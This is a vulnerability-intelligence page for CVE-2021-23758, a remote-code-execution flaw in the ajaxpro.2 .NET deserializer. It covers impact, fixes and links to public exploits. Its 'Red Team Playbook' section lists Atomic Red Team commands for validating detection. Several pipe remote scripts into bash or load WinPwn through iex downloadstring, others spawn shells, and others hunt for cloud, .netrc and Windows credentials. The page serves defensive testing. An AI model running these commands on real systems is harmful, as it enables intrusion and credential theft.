CVE-2021-23758
Overview
This vulnerability is a deserialization of untrusted data issue in the ajaxpro.2 package, affecting all versions. The root cause lies in the unsafe deserialization of arbitrary .NET objects without proper validation or integrity checks. The affected component is the deserialization mechanism within ajaxpro.2, which processes incoming serialized data streams.
Vulnerability Description
All versions of package ajaxpro.2 are vulnerable to Deserialization of Untrusted Data due to the possibility of deserialization of arbitrary .NET classes, which can be abused to gain remote code execution.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the affected system by sending specially crafted serialized data. No user interaction or prior privileges are required, and the attack can be performed over the network. Successful exploitation may lead to full system compromise, data theft, or service disruption. The CVSS vector indicates high impact on confidentiality, integrity, and availability (C:H/I:H/A:H) with network attack vector (AV:N) and no privileges or user interaction needed (PR:N/UI:N).
Solution
Users should upgrade to a fixed version of ajaxpro.2 as provided in the security advisory referenced by Snyk (SNYK-DOTNET-AJAXPRO2-1925971). The patch addresses unsafe deserialization by implementing input validation and restricting deserialization to safe types. Refer to the commit at https://github.com/michaelschwarz/Ajax.NET-Professional/commit/b0e63be5f0bb20dfce507cb8a1a9568f6e73de57 for the exact code changes. No official vendor advisory ID is available, but applying this patch or equivalent mitigations is recommended to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the ajaxpro.2 package is rooted in the deserialization of untrusted data, which poses a significant risk due to the framework's handling of arbitrary .NET classes. Deserialization is the process of converting a data structure or object state into a format that can be stored or transmitted and reconstructed later. When this process is executed without proper validation, it can allow an attacker to craft malicious payloads that, when deserialized, can lead to the execution of arbitrary code on the server. This flaw arises from the lack of input validation and the inherent trust placed in the serialized data, making it a prime target for exploitation.
Attack vectors for this vulnerability are diverse and can be executed through various means. An attacker could exploit this weakness by sending specially crafted requests to a vulnerable application that utilizes the ajaxpro.2 package. By injecting malicious serialized objects into the application, the attacker can manipulate the deserialization process to execute arbitrary code. This could be done through web forms, API calls, or any interface that accepts serialized data. Once the malicious payload is deserialized, it can lead to remote code execution, allowing the attacker to gain control over the affected system, exfiltrate sensitive data, or further propagate the attack within the network.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on the ajaxpro.2 package for their web applications. Given the high CVSS score of 9.8, the risk associated with this vulnerability is critical. Successful exploitation could lead to severe consequences, including unauthorized access to sensitive information, disruption of services, and potential financial losses. Additionally, the reputational damage that can arise from a data breach or service outage can have long-lasting effects on an organization’s trustworthiness and customer relationships. For businesses operating in regulated industries, the implications may also extend to legal ramifications and compliance violations.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, it is essential to conduct a thorough assessment of all applications utilizing the ajaxpro.2 package to identify any instances of vulnerable code. Regular security audits and code reviews can help in recognizing unsafe deserialization practices. Additionally, employing web application firewalls (WAF) can provide an additional layer of defense by filtering out potentially harmful requests before they reach the application. Furthermore, developers should adopt secure coding practices, such as validating and sanitizing all input data, employing strict type checks, and avoiding the use of deserialization for untrusted data.
In conclusion, the vulnerability present in the ajaxpro.2 package represents a critical security risk that can lead to severe consequences if left unaddressed. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies is crucial in safeguarding applications from exploitation and ensuring the integrity and security of sensitive data. As the threat landscape continues to evolve, proactive measures and continuous monitoring will be essential in maintaining a strong security posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ajaxpro.2 Project | Ajaxpro.2 | All |
cpe:2.3:a:ajaxpro.2_project:ajaxpro.2:*:*:*:*:*:.net:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
AjaxPro Deserialization Remote Code Execution
exploits/windows/http/ajaxpro_deserialization_rce
|
Hans-Martin Münch (MOGWAI LABS), Jemmy Wang | Unknown | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
numanturle/CVE-2021-23758-POC
|
numanturle | 17 | 6 | 2021-12-15 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
60%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-23758 |
| snyk.io |
GitHub CVE
|
https://snyk.io/vuln/SNYK-DOTNET-AJAXPRO2-1925971 |
| github.com |
GitHub CVE
|
https://github.com/michaelschwarz/Ajax.NET-Professional/commit/b0e63be5f0bb20dfce507cb8a1a9568f6e73de57 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/175677/AjaxPro-Deserialization-Remote-Code-Execution.html |
| blog.talosintelligence.com |
NVD API
Exploit
Third Party Advisory
|
https://blog.talosintelligence.com/uat-10147-chinese-speaking-adversary-integrates-agentic-ai-into-post-compromise-operations/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-23758 |